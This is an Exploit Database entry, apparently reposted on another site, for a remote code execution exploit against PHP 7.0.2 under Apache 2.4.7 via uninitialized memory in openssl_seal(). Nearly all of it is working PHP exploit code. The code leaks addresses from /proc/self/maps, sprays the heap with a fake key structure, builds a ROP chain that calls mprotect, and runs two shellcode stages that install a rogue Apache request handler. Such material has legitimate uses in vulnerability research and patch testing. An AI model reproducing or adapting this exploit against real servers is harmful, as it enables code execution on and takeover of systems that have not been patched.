Apache 2.4.7 + PHP 7.0.2 – ‘openssl_seal()’ Uninitialized Memory Code Execution

• Exploit Database
• 123 阅读

• 作者： akat1
  日期： 2016-02-01
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40142/
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  <?php   // Source: http://akat1.pl/?id=1   function get_maps() { $fh = fopen("/proc/self/maps", "r"); $maps = fread($fh, 331337); fclose($fh); return explode("\n", $maps); }   function find_map($sym) { $addr = 0; foreach(get_maps() as $record) if (strstr($record, $sym) && strstr($record, "r-xp")) { $addr = hexdec(explode(&apos;-&apos;, $record)[0]); break; }   if ($addr == 0) die("[-] can&apos;t find $sym base, you need an information leak :[");   return $addr; }   function fill_buffer($offset, $content) { global $buffer; for ($i = 0; $i < strlen($content); $i++) $buffer[$offset + $i] = $content[$i]; return; }   $pre = get_maps(); $buffer = str_repeat("\x00", 0xff0000); $post = get_maps();   $tmp = array_diff($post, $pre);   if (count($tmp) != 1) die(&apos;[-] you need an information leak :[&apos;);   $buffer_base = hexdec(explode(&apos;-&apos;,array_values($tmp)[0])[0]); $addr = $buffer_base+0x14; /* align to string */   echo "[+] buffer string @ 0x".dechex($addr)."\n";   $align = 0xff; $addr += $align;   echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n"; echo "[+] faking ASN @ 0x".dechex($addr)."\n"; fill_buffer($align + 12, pack(&apos;P&apos;, $addr));   $libphp_base = find_map("libphp7"); echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";   /* pop x ; pop rsp ; ret - stack pivot */ $rop_addr = $libphp_base + 0x00000000004a79c3; echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n"; fill_buffer($align + 0xa0 - 4, pack(&apos;P&apos;, $rop_addr));   /* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */ $rop_addr = $libphp_base + 0x000000000041d583; fill_buffer($align - 4, pack(&apos;P&apos;, $rop_addr));   $libc_base = find_map("libc-"); echo "[+] libc base @ 0x".dechex($libc_base)."\n";   $mprotect_offset = 0xf4a20; $mprotect_addr = $libc_base + $mprotect_offset; echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";   $mmap_offset = 0xf49c0; $mmap_addr = $libc_base + $mmap_offset; echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";   $apache2_base = find_map("/usr/sbin/apache2"); echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";   $ap_rprintf_offset = 0x429c0; $ap_rprintf_addr = $apache2_base + $ap_rprintf_offset; echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";   $ap_hook_quick_handler_offset = 0x56c00; $ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset; echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";   echo "[+] building ropchain\n"; $rop_chain = pack(&apos;P&apos;, $libphp_base + 0x00000000000ea107) .// pop rdx ; ret pack(&apos;P&apos;, 0x0000000000000007) . // rdx = 7 pack(&apos;P&apos;, $libphp_base + 0x00000000000e69bd) .// pop rsi ; ret pack(&apos;P&apos;, 0x0000000000004000) . // rsi = 0x1000 pack(&apos;P&apos;, $libphp_base + 0x00000000000e5fd8) .// pop rdi ; ret pack(&apos;P&apos;, $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr pack(&apos;P&apos;, $mprotect_addr) . // mprotect addr pack(&apos;P&apos;, ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1 fill_buffer($align + 0x14, $rop_chain);   $shellcode_stage1 = str_repeat("\x90", 512) . "\x48\xb8" . pack(&apos;P&apos;, $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax "\x49\xb8" . pack(&apos;P&apos;, 0x1000) .// handler size "\x48\xb9" . pack(&apos;P&apos;, $buffer_base + 0x3018) . // handler "\x48\xba" . pack(&apos;P&apos;, $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx "\x48\xbe" . pack(&apos;P&apos;, 0) . // UNUSED "\x48\xbf" . pack(&apos;P&apos;, $mmap_addr) .// movabs mmap,%rdi "\xff\xd0" .// callq %rax "\xb8\x27\x00\x00\x00" .// mov $0x27,%eax - getpid syscall "\x0f\x05" .// syscall "\xbe\x1b\x00\x00\x00" .// mov $0xd,%esi - SIGPROF "\x89\xc7" .// mov %eax,%edi - pid "\xb8\x3e\x00\x00\x00" .// mov $0x3e,%eax- kill syscall "\x0f\x05"; // syscall fill_buffer(0x1000, $shellcode_stage1);   $shellcode_stage2 = str_repeat("\x90", 512) . "\x55" .// push %rbp "\x48\x89\xe5" .// mov%rsp,%rbp "\x48\x83\xec\x40" .// sub$0x40,%rsp "\x48\x89\x7d\xe8" .// mov%rdi,-0x18(%rbp) "\x48\x89\x75\xe0" .// mov%rsi,-0x20(%rbp) "\x48\x89\x55\xd8" .// mov%rdx,-0x28(%rbp) "\x48\x89\x4d\xd0" .// mov%rcx,-0x30(%rbp) "\x4c\x89\x45\xc8" .// mov%r8,-0x38(%rbp) "\x48\x8b\x45\xe8" .// mov-0x18(%rbp),%rax "\x41\xb9\x00\x00\x00\x00" .// mov$0x0,%r9d "\x41\xb8\xff\xff\xff\xff" .// mov$0xffffffff,%r8d "\xb9\x22\x00\x00\x00" .// mov$0x22,%ecx "\xba\x07\x00\x00\x00" .// mov$0x7,%edx "\xbe\x00\x20\x00\x00" .// mov$0x2000,%esi "\xbf\x00\x00\x00\x00" .// mov$0x0,%edi "\xff\xd0" .// callq*%rax "\x48\x89\x45\xf0" .// mov%rax,-0x10(%rbp) "\x48\x8b\x45\xf0" .// mov-0x10(%rbp),%rax "\x48\x89\x45\xf8" .// mov%rax,-0x8(%rbp) "\xeb\x1d" .// jmp0x40063d <shellcode+0x6d> "\x48\x8b\x45\xf8" .// mov-0x8(%rbp),%rax "\x48\x8d\x50\x01" .// lea0x1(%rax),%rdx "\x48\x89\x55\xf8" .// mov%rdx,-0x8(%rbp) "\x48\x8b\x55\xd0" .// mov-0x30(%rbp),%rdx "\x48\x8d\x4a\x01" .// lea0x1(%rdx),%rcx "\x48\x89\x4d\xd0" .// mov%rcx,-0x30(%rbp) "\x0f\xb6\x12" .// movzbl (%rdx),%edx "\x88\x10" .// mov%dl,(%rax) "\x48\x8b\x45\xc8" .// mov-0x38(%rbp),%rax "\x48\x8d\x50\xff" .// lea-0x1(%rax),%rdx "\x48\x89\x55\xc8" .// mov%rdx,-0x38(%rbp) "\x48\x85\xc0" .// test %rax,%rax "\x75\xd2" .// jne0x400620 <shellcode+0x50> "\x48\x8b\x7d\xf0" .// mov-0x10(%rbp),%rdi "\x48\x8b\x45\xd8" .// mov-0x28(%rbp),%rax "\xb9\xf6\xff\xff\xff" .// mov$0xfffffff6,%ecx "\xba\x00\x00\x00\x00" .// mov$0x0,%edx "\xbe\x00\x00\x00\x00" .// mov$0x0,%esi "\xff\xd0" .// callq*%rax "\xc9" .// leaveq "\xc3"; // retq fill_buffer(0x2000, $shellcode_stage2);   $handler = "\x55" .// push %rbp "\x48\x89\xe5" .// mov%rsp,%rbp "\x48\x83\xec\x30" .// sub$0x30,%rsp "\x48\x89\x7d\xd8" .// mov%rdi,-0x28(%rbp) "\x48\xb8" . pack(&apos;P&apos;, $ap_rprintf_addr) .// movabs $0xdeadbabefeedcafe,%rax "\x48\x89\x45\xf8" .// mov%rax,-0x8(%rbp) "\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax "\x48\x89\x45\xe0" .// mov%rax,-0x20(%rbp) "\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax "\x48\x89\x45\xe8" .// mov%rax,-0x20(%rbp) "\x48\x8d\x4d\xe0" .// lea-0x20(%rbp),%rcx "\x48\x8b\x55\xd8" .// mov-0x28(%rbp),%rdx "\x48\x8b\x45\xf8" .// mov-0x8(%rbp),%rax "\x48\x89\xce" .// mov%rcx,%rsi "\x48\x89\xd7" .// mov%rdx,%rdi "\xff\xd0" .// callq*%rax "\xb8\x00\x00\x00\x00" .// mov$0x0,%eax "\xc9" .// leaveq "\xc3"; // retq fill_buffer(0x3000, $handler);   $addr = pack(&apos;P&apos;, $addr); $memory = str_repeat($addr,321);   $pem = " -----BEGIN PUBLIC KEY----- MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== -----END PUBLIC KEY-----"; /* Random RSA key */   $a = array_fill(0,321,0); /* place valid keys at the beginning */ $k = openssl_pkey_get_public($pem); $a[0] = $k; $a[1] = $k; $a[2] = $k; echo "[+] spraying heap\n"; $x = array(); for ($i = 0 ; $i < 20000 ; $i++) { $x[$i] = str_repeat($memory, 1); } for ($i = 0 ; $i < 20000 ; $i++) { unset($x[$i]); } unset($x); echo "[+] triggering openssl_seal()...\n"; @openssl_seal($_, $_, $_, $a); echo "[-] failed ;[\n";